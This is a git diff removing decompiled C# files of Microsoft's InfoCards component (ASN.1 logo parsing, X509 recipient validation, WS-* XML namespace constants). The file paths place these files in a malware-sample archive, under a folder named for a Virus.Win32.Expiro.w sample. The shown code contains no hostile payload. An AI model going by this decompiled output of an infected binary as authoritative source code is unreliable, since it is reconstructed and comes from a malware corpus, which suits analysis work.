X509LogoType.Issuer != logoType) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedType"))); - byte input1 = br.ReadByte(); - this.VerifyByte(input1, new byte[2] - { - (byte) 160, - (byte) 161 - }); - this.ReadAsnByteLength(br); - if ((byte) 161 == input1) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedIndirectReferences"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - byte input2 = br.ReadByte(); - bool flag; - if ((byte) 161 == input2) - { - flag = false; - InfoCardTrace.TraceAndLogException((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedAudio"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - } - else - { - flag = true; - this.VerifyByte(input2, (byte) 48); - } - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 22); - int count1 = this.ReadAsnByteLength(br); - string mediaType = asciiEncoding.GetString(br.ReadBytes(count1)); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num3 = this.ReadAsnByteLength(br); - long endPosition1 = br.BaseStream.Position + (long) num3; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition1)) - { - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num4 = this.ReadAsnByteLength(br); - long num5 = br.BaseStream.Position + (long) num4; - Oid key = this.ReadObjectIdentifier(br); - br.BaseStream.Position = num5; - this.VerifyByte(br.ReadByte(), (byte) 4); - int count2 = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count2); - hashes[key] = numArray; - } - this.VerifyByte(br.ReadByte(), (byte) 48); - int num6 = this.ReadAsnByteLength(br); - long endPosition2 = br.BaseStream.Position + (long) num6; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition2)) - { - this.VerifyByte(br.ReadByte(), (byte) 22); - int count3 = this.ReadAsnByteLength(br); - fileLocations.Add(asciiEncoding.GetString(br.ReadBytes(count3))); - } - if (br.BaseStream.Position != num2) - br.BaseStream.Position = num2; - if (flag) - this.m_logos.Add((X509Logo) new X509ImageLogo(logoType, mediaType, hashes, fileLocations)); - } - } - - private void VerifyByte(byte input, byte[] expected) - { - foreach (int num in expected) - { - if (num == (int) input) - return; - } - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private void VerifyByte(byte input, byte expected) - { - if ((int) input != (int) expected) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private bool ReachedEndPosition(long currentPosition, long endPosition) - { - if (currentPosition > endPosition) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidCertificateLength"))); - return currentPosition == endPosition; - } - - private int ReadAsnByteLength(BinaryReader br) - { - byte num1 = br.ReadByte(); - if (((int) num1 & 128) == 0) - return (int) num1; - int num2 = (int) num1 & (int) sbyte.MaxValue; - if (num2 < 1 || num2 > 4) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidAsnLength"))); - byte[] numArray = br.ReadBytes((int) num1 & (int) sbyte.MaxValue); - int num3 = 0; - foreach (int num4 in numArray) - num3 = num4 + (num3 << 8); - return num3; - } - - private Oid ReadObjectIdentifier(BinaryReader br) - { - this.VerifyByte(br.ReadByte(), (byte) 6); - int count = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count); - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("{0}.{1}.", (object) ((int) numArray[0] / 40), (object) ((int) numArray[0] % 40)); - for (int index = 1; index < count; ++index) - { - stringBuilder.Append(numArray[index].ToString((IFormatProvider) CultureInfo.InvariantCulture)); - if (index != count - 1) - stringBuilder.Append('.'); - } - return new Oid(stringBuilder.ToString()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509RecipientIdentity.cs deleted file mode 100644 index edf60ce7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509RecipientIdentity.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal class X509RecipientIdentity : RecipientIdentity - { - private X509Certificate2Collection m_certificates; - private Recipient.RecipientCertParameters m_recipientParams; - private bool isChainTrusted; - - public Recipient.RecipientCertParameters RecipientParams => this.m_recipientParams; - - public X509Certificate2 LeafCertificate => this.m_certificates[0]; - - public X509RecipientIdentity(EndpointAddress epr, X509Certificate2Collection certificates) - : base(epr) - { - this.m_certificates = certificates; - } - - public override void Validate() - { - if (this.HasBeenValidated) - return; - this.isChainTrusted = this.ValidateCertificate(); - this.Identifier = Recipient.CertGetRecipientIdHash(this.LeafCertificate, this.m_certificates, this.isChainTrusted, out this.m_recipientParams); - this.OrganizationIdentifier = Recipient.CertGetRecipientOrganizationIdHash(this.LeafCertificate, this.m_certificates, this.ValidateCertificate()); - this.HasBeenValidated = true; - } - - public override string GetName() - { - string name = this.LeafCertificate.FriendlyName; - if (string.IsNullOrEmpty(name)) - name = this.LeafCertificate.GetNameInfo(X509NameType.SimpleName, false); - return name; - } - - private bool ValidateCertificate() - { - bool chainTrustPassed = false; - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.LeafCertificate, this.m_certificates, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return chainTrustPassed; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/XmlNames.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/XmlNames.cs deleted file mode 100644 index cf897b13..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/XmlNames.cs +++ /dev/null @@ -1,863 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.XmlNames -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class XmlNames - { - private XmlNames() - { - } - - public static XmlNamespaceManager CreateNamespaceManager( - XmlNameTable nameTable) - { - XmlNamespaceManager namespaceManager = new XmlNamespaceManager(nameTable); - namespaceManager.AddNamespace("saml", "urn:oasis:names:tc:SAML:1.0:assertion"); - namespaceManager.AddNamespace("soap", "http://www.w3.org/2003/05/soap-envelope"); - namespaceManager.AddNamespace("wsa", "http://www.w3.org/2005/08/addressing"); - namespaceManager.AddNamespace("wsid", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - namespaceManager.AddNamespace("wsmex", "http://schemas.xmlsoap.org/ws/2004/09/mex"); - namespaceManager.AddNamespace("wsp", "http://schemas.xmlsoap.org/ws/2004/09/policy"); - namespaceManager.AddNamespace("wsse", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - namespaceManager.AddNamespace("wssu", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"); - namespaceManager.AddNamespace("wxf", "http://schemas.xmlsoap.org/ws/2004/09/transfer"); - namespaceManager.AddNamespace("wst", "http://schemas.xmlsoap.org/ws/2005/02/trust"); - namespaceManager.AddNamespace("dsig", "http://www.w3.org/2000/09/xmldsig#"); - namespaceManager.AddNamespace("enc", "http://www.w3.org/2001/04/xmlenc#"); - namespaceManager.AddNamespace("xsd", "http://www.w3.org/2001/XMLSchema"); - return namespaceManager; - } - - internal sealed class Saml11 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string AltNamespace = "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1"; - - private Saml11() - { - } - } - - internal sealed class Saml10 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string Bearer = "urn:oasis:names:tc:SAML:1.0:cm:bearer"; - - private Saml10() - { - } - } - - internal sealed class Xml - { - public const string DefaultPrefix = "xml"; - public const string Namespace = "http://www.w3.org/XML/1998/namespace"; - public const string Language = "lang"; - public const string DateTimeFormat = "yyyy-MM-ddTHH:mm:ssZ"; - - private Xml() - { - } - } - - internal sealed class XmlSchema - { - public const string DefaultPrefix = "xsd"; - public const string Namespace = "http://www.w3.org/2001/XMLSchema"; - public const string SchemaLocation = "http://www.w3.org/2001/xml.xsd"; - public const string LocalSchemaLocation = "xml.xsd"; - - private XmlSchema() - { - } - } - - internal sealed class WSAddressing - { - public const string DefaultPrefix = "wsa"; - public const string Namespace = "http://www.w3.org/2005/08/addressing"; - public const string SchemaLocation = "http://www.w3.org/2005/08/addressing/addressing.xsd"; - public const string LocalSchemaLocation = "addressing.xsd"; - public const string EndpointReference = "EndpointReference"; - public const string Address = "Address"; - - private WSAddressing() - { - } - } - - internal sealed class WSAddressing04 - { - public const string DefaultPrefix = "wsa04"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/08/addressing"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/08/addressing/"; - public const string LocalSchemaLocation = "addressing04.xsd"; - - private WSAddressing04() - { - } - } - - internal sealed class WSPolicy - { - public const string DefaultPrefix = "wsp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/policy/ws-policy.xsd"; - public const string LocalSchemaLocation = "ws-policy.xsd"; - public const string Policy = "Policy"; - public const string AppliesTo = "AppliesTo"; - - private WSPolicy() - { - } - } - - internal enum WSSpecificationVersion - { - WSPolicyXmlSoap2004, - WSPolicyW32007, - WSTrustXmlSoap2005, - WSTrustOasis2007, - WSSecurityPolicyXmlSoap2005, - WSSecurityPolicyOasis2007, - } - - internal interface IWSSpecification - { - XmlNames.WSSpecificationVersion Version { get; } - } - - internal interface IWSPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string Policy { get; } - - string AppliesTo { get; } - } - - internal sealed class WSPolicyXmlSoap2004 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2004"; - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyXmlSoap2004 Instance = new XmlNames.WSPolicyXmlSoap2004(); - - private WSPolicyXmlSoap2004() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyXmlSoap2004; - - public string DefaultPrefix => "wsp2004"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2004/09/policy"; - - public string SchemaLocation => this.Namespace + "/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class WSPolicyW32007 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2007"; - public const string c_Namespace = "http://www.w3.org/ns/ws-policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyW32007 Instance = new XmlNames.WSPolicyW32007(); - - private WSPolicyW32007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyW32007; - - public string DefaultPrefix => "wsp2007"; - - public string Namespace => "http://www.w3.org/ns/ws-policy"; - - public string SchemaLocation => "http://www.w3.org/2007/02/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy-2007.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class XmlEnc - { - public const string DefaultPrefix = "enc"; - public const string Namespace = "http://www.w3.org/2001/04/xmlenc#"; - public const string EncryptedData = "EncryptedData"; - public const string EncryptionMethod = "EncryptionMethod"; - public const string EncryptionProperties = "EncryptionProperties"; - public const string CipherData = "CipherData"; - public const string CipherValue = "CipherValue"; - public const string Encoding = "Encoding"; - public const string MimeType = "MimeType"; - public const string Type = "Type"; - public const string Id = "Id"; - public const string Algorithm = "Algorithm"; - public const string LocalSchemaLocation = "xenc-schema.xsd"; - public const string SchemaLocation = "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"; - - private XmlEnc() - { - } - } - - internal sealed class XmlDSig - { - public const string DefaultPrefix = "dsig"; - public const string Namespace = "http://www.w3.org/2000/09/xmldsig#"; - public const string SchemaLocation = "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"; - public const string LocalSchemaLocation = "xmldsig-core-schema.xsd"; - public const string X509CertificateElement = "X509Certificate"; - public const string X509IssuerSerialElement = "X509IssuerSerial"; - public const string X509IssuerNameElement = "X509IssuerName"; - public const string X509SerialNumberElement = "X509SerialNumber"; - public const string X509DataElement = "X509Data"; - public const string RSAKeyValueElement = "RSAKeyValue"; - public const string Signature = "Signature"; - public const string KeyInfo = "KeyInfo"; - public const string KeyValue = "KeyValue"; - - private XmlDSig() - { - } - } - - internal sealed class WSSecurityPolicy - { - public const string DefaultPrefix = "sp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - public const string LocalSchemaLocation = "ws-securitypolicy.xsd"; - public const string RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - - private WSSecurityPolicy() - { - } - } - - internal interface IWSSecurityPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string RequestSecurityTokenTemplate { get; } - } - - internal sealed class WSSecurityPolicyXmlSoap2005 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyXmlSoap2005 Instance = new XmlNames.WSSecurityPolicyXmlSoap2005(); - - private WSSecurityPolicyXmlSoap2005() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyXmlSoap2005; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - - public string SchemaLocation => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityPolicyOasis2007 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyOasis2007 Instance = new XmlNames.WSSecurityPolicyOasis2007(); - - private WSSecurityPolicyOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyOasis2007; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - - public string SchemaLocation => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/ws-securitypolicy-1.2.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy-1.2.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityUtility - { - public const string DefaultPrefix = "wssu"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string Created = "Created"; - public const string Expires = "Expires"; - - private WSSecurityUtility() - { - } - } - - internal sealed class WSSecurityExt - { - public const string DefaultPrefix = "wsse"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string Sha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string AltSha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string KeyIdentifierElement = "KeyIdentifier"; - public const string ValueTypeAttribute = "ValueType"; - - private WSSecurityExt() - { - } - } - - internal sealed class WSMetadataExchange - { - public const string DefaultPrefix = "wsmex"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/mex"; - public const string LocalSchemaLocation = "MetadataExchange.xsd"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/mex/MetadataExchange.xsd"; - - private WSMetadataExchange() - { - } - } - - internal sealed class Soap11 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://schemas.xmlsoap.org/soap/envelope/"; - - private Soap11() - { - } - } - - internal sealed class Soap12 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://www.w3.org/2003/05/soap-envelope"; - - private Soap12() - { - } - } - - internal sealed class WSIdentity - { - public const string DefaultPrefix = "wsid"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity"; - public const string LocalSchemaLocation = "identity.xsd"; - public const string ClaimElement = "ClaimType"; - public const string SupportedClaimTypeElement = "SupportedClaimType"; - public const string ProvisionAtElement = "ProvisionAt"; - public const string RequestBrowserToken = "RequestBrowserToken"; - public const string Identity = "Identity"; - public const string DictionaryUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims"; - public const string SelfIssuerUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"; - public const string AnonymousIssuerUri = "http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"; - public const string PersonalCategoryUri = "http://icardissuer.microsoft.com/categories/identitycard"; - public const string UserNamePasswordAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/UsernamePassword"; - public const string KerberosV5Auth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/KerberosV5"; - public const string X509V3SoftAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3Soft"; - public const string X509V3SmartCardAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3SmartCard"; - public const string SelfIssuedAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/SelfIssuedToken"; - public const string RequestDisplayTokenElement = "RequestDisplayToken"; - public const string RequestedDisplayTokenElement = "RequestedDisplayToken"; - public const string DisplayTokenElement = "DisplayToken"; - public const string DisplayTokenTextElement = "DisplayTokenText"; - public const string DisplayClaimElement = "DisplayClaim"; - public const string DisplayTagElement = "DisplayTag"; - public const string DisplayValueElement = "DisplayValue"; - public const string DescriptionElement = "Description"; - public const string InfoCardElement = "InformationCard"; - public const string RoamingInfoCardElement = "RoamingInformationCard"; - public const string InfoCardRefElement = "InformationCardReference"; - public const string CardNameElement = "CardName"; - public const string CardImageElement = "CardImage"; - public const string CardIdElement = "CardId"; - public const string CardVersionElement = "CardVersion"; - public const string IssuerNameElement = "IssuerName"; - public const string IssuerElement = "Issuer"; - public const string IssuerUriElement = "IssuerUri"; - public const string TimeIssuedElement = "TimeIssued"; - public const string TimeExpiresElement = "TimeExpires"; - public const string SupportedClaimTypeListElement = "SupportedClaimTypeList"; - public const string SupportedTokenTypeListElement = "SupportedTokenTypeList"; - public const string RequirePinProtectionElement = "RequirePinProtection"; - public const string TokenServiceListElement = "TokenServiceList"; - public const string TokenServiceElement = "TokenService"; - public const string UserCredentialElement = "UserCredential"; - public const string DisplayCredentialHintElement = "DisplayCredentialHint"; - public const string UserNamePasswordCredentialElement = "UsernamePasswordCredential"; - public const string X509V3CredentialElement = "X509V3Credential"; - public const string KerberosV5CredentialElement = "KerberosV5Credential"; - public const string SelfIssuedCredentialElement = "SelfIssuedCredential"; - public const string RequireAppliesToElement = "RequireAppliesTo"; - public const string UserNameElement = "Username"; - public const string PrivatePersonalIdentifierElement = "PrivatePersonalIdentifier"; - public const string MaxTokenAgeElement = "MaxTokenAge"; - public const string OpaqueEndPointElement = "OpaqueEndpoint"; - public const string UriAttribute = "Uri"; - public const string OptionalAttribute = "Optional"; - public const string MimeTypeAttribute = "MimeType"; - public const string MethodAttribute = "Method"; - public const string PrivacyNoticeAtElement = "PrivacyNotice"; - public const string PrivacyNoticeVersionAttribute = "Version"; - public const string IsManagedElement = "IsManaged"; - public const string MasterKeyElement = "MasterKey"; - public const string PinDigestElement = "PinDigest"; - public const string HashSaltElement = "HashSalt"; - public const string TimeLastUpdatedElement = "TimeLastUpdated"; - public const string ClaimValueElement = "ClaimValue"; - public const string RoamingStoreElement = "RoamingStore"; - public const string IsSelfIssuedElement = "IsSelfIssued"; - public const string StoreSaltElement = "StoreSalt"; - public const string IssuerIdElement = "IssuerId"; - public const string IterationCountElement = "IterationCount"; - public const string EncryptedStoreElement = "EncryptedStore"; - public const string BackgroundColorElement = "BackgroundColor"; - public const string UserPrincipalNameElement = "UserPrincipalName"; - public const string InfoCardMetaDataElement = "InformationCardMetaData"; - public const string InfoCardPrivateDataElement = "InformationCardPrivateData"; - public const string ClaimValueListElement = "ClaimValueList"; - public const string ValueElement = "Value"; - public const string ThumbprintUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/keyThumbprintSHA1"; - public const string ClientPseudonym = "ClientPseudonym"; - public const string PPID = "PPID"; - public const string FaultNamespace = "http://schemas.xmlsoap.org/ws/2005/05/identity/fault"; - public const string FaultRefreshRequired = "InformationCardRefreshRequired"; - public const string FaultMissingAppliesTo = "MissingAppliesTo"; - public const string FaultInvalidProofKey = "InvalidProofKey"; - public const string FaultUnknownReference = "UnknownInformationCardReference"; - public const string FaultRequiredClaims = "FailedRequiredClaims"; - public static readonly Uri SelfIssuerUriValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"); - public static readonly Uri AnonymousIssuerUriValue = new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"); - public static readonly Uri NoProofKeyTypeValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey"); - - private WSIdentity() - { - } - } - - internal sealed class WSIdentity07 - { - public const string DefaultPrefix = "wsid07"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2007/01/identity"; - public const string LocalSchemaLocation = "ws-identity-2007.xsd"; - public const string IssuerInformation = "IssuerInformation"; - public const string IssuerInformationEntry = "IssuerInformationEntry"; - public const string EntryName = "EntryName"; - public const string EntryValue = "EntryValue"; - public const string RequireStrongRPIdentity = "RequireStrongRecipientIdentity"; - - private WSIdentity07() - { - } - } - - internal sealed class WSTrust - { - public const string DefaultPrefix = "wst"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/02/trust/ws-trust.xsd"; - public const string LocalSchemaLocation = "ws-trust.xsd"; - public const string ClaimsElement = "Claims"; - public const string TokenType = "TokenType"; - public const string EncryptWith = "EncryptWith"; - public const string CustomToken = "customToken"; - public const string Context = "Context"; - public const string KeyType = "KeyType"; - public const string KeySize = "KeySize"; - public const string UseKey = "UseKey"; - public const string SigAttribute = "Sig"; - public const string RequestSecurityToken = "RequestSecurityToken"; - public const string RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string RequestedSecurityToken = "RequestedSecurityToken"; - public const string RequestedProofToken = "RequestedProofToken"; - public const string RequestSecurityTokenResponse = "RequestSecurityTokenResponse"; - public const string Lifetime = "Lifetime"; - public const string RequestedAttachedReference = "RequestedAttachedReference"; - public const string RequestedUnattachedReference = "RequestedUnattachedReference"; - public const string Entropy = "Entropy"; - public const string ComputedKey = "ComputedKey"; - public const string AuthenticationType = "AuthenticationType"; - public const string SignatureAlgorithm = "SignatureAlgorithm"; - public const string EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string SignWith = "SignWith"; - public const string ComputedKeyAlgorithm = "http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1"; - public const string RequestType = "RequestType"; - public const string IssueRequestType = "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue"; - public static readonly Uri KeyTypeSymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey"); - public static readonly Uri KeyTypeAsymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey"); - - private WSTrust() - { - } - } - - internal interface IWSTrust : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string ClaimsElement { get; } - - string TokenType { get; } - - string EncryptWith { get; } - - string CustomToken { get; } - - string Context { get; } - - string KeyType { get; } - - string KeySize { get; } - - string UseKey { get; } - - string SigAttribute { get; } - - string RequestSecurityToken { get; } - - string RequestSecurityTokenAction { get; } - - string RequestSecurityTokenResponseAction { get; } - - string RequestedSecurityToken { get; } - - string RequestedProofToken { get; } - - string RequestSecurityTokenResponse { get; } - - string RequestSecurityTokenResponseCollection { get; } - - string Lifetime { get; } - - string RequestedAttachedReference { get; } - - string RequestedUnattachedReference { get; } - - string Entropy { get; } - - string ComputedKey { get; } - - string AuthenticationType { get; } - - string SignatureAlgorithm { get; } - - string EncryptionAlgorithm { get; } - - string CanonicalizationAlgorithm { get; } - - string SignWith { get; } - - string ComputedKeyAlgorithm { get; } - - string RequestType { get; } - - string IssueRequestType { get; } - - string SecondaryParameters { get; } - - string KeyWrapAlgorithm { get; } - - string Dialect { get; } - - Uri KeyTypeSymmetric { get; } - - Uri KeyTypeAsymmetric { get; } - - Uri KeyTypeBearer { get; } - } - - internal sealed class WSTrustXmlSoap2005 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string c_RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string c_DefaultPrefix = "wst2005"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustXmlSoap2005 Instance = new XmlNames.WSTrustXmlSoap2005(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/PublicKey"); - - private WSTrustXmlSoap2005() - { - } 